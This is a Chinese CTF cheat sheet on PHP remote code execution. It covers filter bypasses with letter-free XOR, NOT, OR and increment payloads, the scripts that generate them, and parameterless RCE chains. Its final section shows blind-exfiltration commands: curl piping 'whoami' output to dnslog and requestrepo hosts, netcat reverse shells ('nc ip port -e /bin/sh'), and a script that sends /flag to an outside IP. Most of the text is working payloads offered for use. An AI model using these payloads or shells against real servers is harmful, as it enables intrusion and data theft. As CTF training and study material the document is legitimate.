代码执行函数 eval()
,assert()
,preg_replace()
,create_function()
,array_map()
,call_user_func()
,call_user_func_array()
,array_filter()
,uasort()
,array_walk_recursive
等
查看可用字符 将题目的正则输入后即可得到可用的符号
1 2 3 4 5 6 <?php for ($i =32 ;$i <127 ;$i ++){ if (!preg_match ("/[a-zA-Z0-9#%^&*:{}\-<\?>\"|`~\\\\]/" ,chr ($i ))){ echo chr ($i )." " ; } }
disable_functions绕过 可以参考我写的另一篇总结:绕过disable_fuctions的方法总结
小trick:get形式的代码执行可以用转接头的形式在蚁剑上连接,例如/?1=assert($_POST[2]);
标签闭合绕过 1 2 3 if (!preg_match ("/\?|\;/" ,$code )){ eval ("?>" .$code ); }
闭合了标签,那就造一个新的标签<script language="php">system('tac /f*')</script>
小trick:</script>结束标签自带一个;
标签闭合+长度限制 1 2 3 if (strlen ($code )<=13 ){ eval ("?>" .$code ); }
构造一个小于13位的参数:<?`$_GET[2]`;
然后可以利用&2
传入反弹shell的命令等操作
或者在特定版本下可以用%0a
绕过注释符号的闭合
无字母数字代码执行 也是很经典的一类题目,参数中不能出现字母和数字 思路就是通过非字母数字的字符经过各种变换构造出任意字母,然后拼接出函数执行
1 2 3 4 5 $code =$_GET ['code' ];if (preg_match ('/[a-z0-9]/i' ,$code )){ die ('hacker' ); }eval ($code );
异或xor 在php中,两个字符进行异或操作后,得到的依然是一个字符,所以说当我们想得到a-z中某个字母时,就可以找到两个非字母数字的字符,只要他们俩的异或结果是这个字母即可。而在php中,两个字符进行异或时,会先将字符串转换成ascii码值,再将这个值转换成二进制,然后一位一位的进行按位异或,异或的规则是:1^1=0,1^0=1,0^1=1,0^0=0
,简单的来说就是相同为零,不同为一
例如("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")
,异或后得到system
yu师傅的脚本,用来生成一个字典
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php $myfile = fopen ("xor_rce.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ){ $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[a-z0-9]/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )^urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } }fwrite ($myfile ,$contents );fclose ($myfile );
然后生成payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import urllibfrom sys import *import osdef action (arg ): s1="" s2="" for i in arg: f=open ("xor_rce.txt" ,"r" ) while True : t=f.readline() if t=="" : break if t[0 ]==i: s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close() output="(\"" +s1+"\"^\"" +s2+"\")" return (output) while True : param=action(input ("\n[+] your function:" ) )+action(input ("[+] your command:" ))+";" print (param)
然后用($a)();
的形式执行代码即可,但是要注意PHP7
前是不允许用($a)();
这样的方法来执行动态函数的
补充:PHP>8
就不支持将没有引号包裹的字符解析为对应字符串了,xx^yy
->'xx'^'yy'
,这里x y
代表ascii
大于128
的值
取反 例子
1 2 3 %8C -10001100 逐位取反%73 -01110011
利用php的取反符号~
来构造任意字母
yu师傅脚本
1 2 3 4 5 6 7 8 9 <?php fwrite (STDOUT,'[+]your function: ' );$system =str_replace (array ("\r\n" , "\r" , "\n" ), "" , fgets (STDIN));fwrite (STDOUT,'[+]your command: ' );$command =str_replace (array ("\r\n" , "\r" , "\n" ), "" , fgets (STDIN));echo '[*] (~' .urlencode (~$system ).')(~' .urlencode (~$command ).');' ;
或or 原理与异或一致,利用符号|
来构造
或运算就是有一为一,都是零就是零,比如说3|10
,就是0011|1010
,结果为1011
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php $myfile = fopen ("or_rce.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ){ $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[0-9a-z]/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )|urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } }fwrite ($myfile ,$contents );fclose ($myfile );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requestsimport urllibfrom sys import *import osdef action (arg ): s1="" s2="" for i in arg: f=open ("or_rce.txt" ,"r" ) while True : t=f.readline() if t=="" : break if t[0 ]==i: s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close() output="(\"" +s1+"\"|\"" +s2+"\")" return (output) while True : param=action(input ("\n[+] your function:" ) )+action(input ("[+] your command:" ))+";" print (param)
自增 利用PHP中的递增/递减运算符 ,也就是说'a'++ => 'b'
所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
当php强制输出数组时,数组会被转换成字符串Array
,就可以拿到A
(PHP函数是大小写不敏感)
一个通过Array
构造出$_POST[__]($_POST[_]);
的例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php $_ =[].'' ;$_ =$_ ['' =='$' ];$____ ='_' ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$____ .=$__ ;$_ =$____ ;$$_ [__]($$_ [_]);
通过Array
构造出($_GET[_])($_GET[__])
的例子
1 2 3 $_ =[]._;$__ =$_ ['!' =='=' ];$__ ++;$__ ++;$__ ++;$___ =++$__ ;++$__ ;$___ =++$__ .$___ ;++$__ ;++$__ ;++$__ ;++$__ ;++$__ ;++$__ ;++$__ ;++$__ ;++$__ ;++$__ ;++$__ ;++$__ ;$___ =$___ .++$__ ;$_ ='_' .$___ ;($$_ [_])($$_ [__]); ?_=system&__=ls
自增长度限制 如果出现了对长度的限制,那么就需要缩短自增的过程,比如从b
自增到g
,肯定要比a
自增到g
的过程短。
在php中存在两种数据类型
1 2 3 NaN (Not a Number ,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN 的是1985 年的IEEE 754 浮点数标准。 INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。
我们可以利用N
自增到T
,这一过程经过了OPQRS,所以构造POST比构造GET更加简短
不过需要先转换成字符串类型
1 2 3 4 5 $_ =0 /0 ; $_ =1 /0 ; $_ =(0 /0 )._; $_ =(1 /0 )._;
利用NAN
转换成$_POST[0]($_POST[1]);
的例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php $a =(0 /0 );$a .=_;$a =$a [0 ];$a ++;$o =$a ++;$p =$a ++;$a ++;$a ++;$s =$a ++;$t =$a ;$_ =_;$_ .=$p .$o .$s .$t ;$$_ [0 ]($$_ [1 ]);
进一步缩短长度至84字符,同样是利用NAN
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $a =(_/_._)[0 ];$o =++$a ;$o =++$a .$o ;$a ++;$a ++;$o .=++$a ;$o .=++$a ;$_ =_.$o ;$$_ [0 ]($$_ [_]);
还可以将_POST
本身当作一个参数,缩短长度至73
1 2 $_ =(_/_._)[_];$_ ++;$__ =$_ .$_ ++;++$_ ;++$_ ;$$_ [$_ =_.$__ .++$_ .++$_ ]($$_ [_]);
如果php开启了gettext
拓展,长度还能进一步缩短,因为该扩展支持函数_()
,相当于gettext()
,可以直接转化为字符串
72位
1 2 3 4 5 6 7 8 9 10 <?php $a =_ (a/a)[a]; ++$a ;$_ =$a .$a ++;$a ++;$a ++;$_ =_.$_ .++$a .++$a ;$$_ [a]($$_ [_]);
68位
1 2 3 4 5 6 <?php $_ =_ (a/a)[_];$a =++$_ ;$$a [$a =_.++$_ .$a [$_ ++/$_ ++].++$_ .++$_ ]($$a [_]);
无参RCE 经典正则,不能使用带参数的函数
1 2 3 if (';' === preg_replace ('/[^\W]+\((?R)?\)/' , '' , $_GET ['code' ])) { eval ($_GET ['code' ]); }
1 2 3 4 5 6 7 8 9 10 end () — 将内部指针指向数组中的最后一个元素,并输出next () — 将内部指针指向数组中的下一个元素,并输出prev () — 将内部指针指向数组中的上一个元素,并输出reset () — 将内部指针指向数组中的第一个元素,并输出each () — 返回当前元素的键名和键值,并将内部指针向前移动current () — 返回数组中的当前值array_reverse () — 返回单元顺序相反的数组getcwd () — 取得当前工作目录array_rand () — 返回一个包含随机键名的数组hex2bin () — 把十六进制值转换为 ASCII 字符
获取全部HTTP请求头信息
可以通过var_dump(getallheaders());来输出请求头信息,然后通过next,end等来控制字符串位置
get_defined_vars() 返回由所有已定义变量所组成的数组
返回数组顺序为get->post->cookie->files
session_start() php7以下适用
因为PHPSESSID的组成符号有限定,所以不能有()
读文件
1 2 GET /?code=show_source (session_id (session_start ())); HTTP/1.1 Cookie: PHPSESSID=/flag
或者转成16进制
1 2 <?php echo bin2hex ('phpinfo();' );
1 2 GET /?code=eval (hex2bin (session_id (session_start ()))); HTTP/1.1 Cookie: PHPSESSID=706870696e666 f28293b
scandir() 一些payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 var_dump (scandir (getcwd ()));var_dump (scandir (current (localeconv ())));var_dump (scandir (chr (ceil (sinh (cosh (tan (floor (sqrt (floor (phpversion ())))))))))); show_source (end (scandir (getcwd ())));show_source (current (array_reverse (scandir (getcwd ()))));show_source (next (array_reverse (scandir (getcwd ()))));highlight_file (array_rand (array_flip (scandir (getcwd ()))));show_source (array_rand (array_flip (scandir (getcwd ()))));show_source (array_rand (array_flip (scandir (current (localeconv ())))));print_r (scandir (dirname (getcwd ())));print_r (scandir (next (scandir (getcwd ()))));print_r (scandir (next (scandir (getcwd ()))));show_source (array_rand (array_flip (scandir (dirname (chdir (dirname (getcwd ())))))));show_source (array_rand (array_flip (scandir (chr (ord (hebrevc (crypt (chdir (next (scandir (getcwd ())))))))))));show_source (array_rand (array_flip (scandir (chr (ord (hebrevc (crypt (chdir (next (scandir (chr (ord (hebrevc (crypt (phpversion ())))))))))))))));print_r (scandir (chr (ord (strrev (crypt (serialize (array ())))))));
dirname() php特性1:对目录取目录会得到上级目录
1 2 3 4 5 6 7 8 var_dump (getcwd ());var_dump (dirname (getcwd ()));print_r (scandir (dirname (dirname (dirname (getcwd ())))));
php特性2:readfile和show_source的特点
如果readfile第二个参数不设定为true,则不会寻找include_path里面的文件进行读取 而show_source默认情况下,是包含include_path的
1 2 3 4 5 6 7 8 9 10 11 show_source (array_rand (array_flip (scandir (array_rand (array_flip (str_split (set_include_path (dirname (dirname (dirname (getcwd ())))))))))));
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsimport time url = "http://d18ae616-8323-4d47-bade-5f3ee9710125.challenge.ctf.show/?code=show_source(array_rand(array_flip(scandir(array_rand(array_flip(str_split(set_include_path(dirname(dirname(dirname(getcwd())))))))))));" go = True while go: res = requests.get(url) time.sleep(0.3 ) if res.text.find("flag{" ) > 0 : print (res.text) go = False else : pass
无回显情况的几种利用方式 题目中较常见的是shell_exec
函数,与system
函数相比,前者没有回显结果
写文件 当有写入的权限时,可以考虑将结果写到文件中
例如:ls>1.txt;
dns外带信息 假设目标没有写的权限,但是出网,就可以考虑使用dns外带信息,常用的平台有http://dnslog.cn/
例如我们生成一个域名c9n9j5.dnslog.cn
,然后在靶机上执行curl `whoami`.c9n9j5.dnslog.cn
刷新后就会在平台上返回结果
http外带信息 实际上在dnslog外带信息的同时,有许多不方便之处,比如不支持换行,url中没有的字符不显示等等
所以可以用http的方式,推荐一个平台https://requestrepo.com/#/
,用来接收get,post请求等
在靶机上执行curl http://mt2dyif2.requestrepo.com/?1=`whoami`
,过一会在平台上就会有请求返回(子域名是随机生成的)
反弹shell 不回显的利用方式肯定少不了最经典的反弹shell
常规反弹语句:nc ip port -e /bin/sh
,监听:nc -lvnp port
反弹的姿势非常多,不知道利用什么方式时可以用比较通用的方式https://your-shell.com/
应对一些过滤时的做法:
1 2 3 4 5 6 7 8 9 10 11 12 // 靶机执行的命令 sh -c "`nc 47.99.77.52 1234`" // vps 传递sh脚本 nc -lvvnp 1234 < 1.sh // 1.sh内容echo `cat /flag` | nc 47.99.77.52 1235 // vps监听1235 nc -lvnnp 1235
时间盲注 当靶机不出网,没有写入权限,没有回显时,可以采用类似sql时间盲注的方法
原理很简单,就是猜字符如果猜中,就延时若干秒,坏处是非常耗时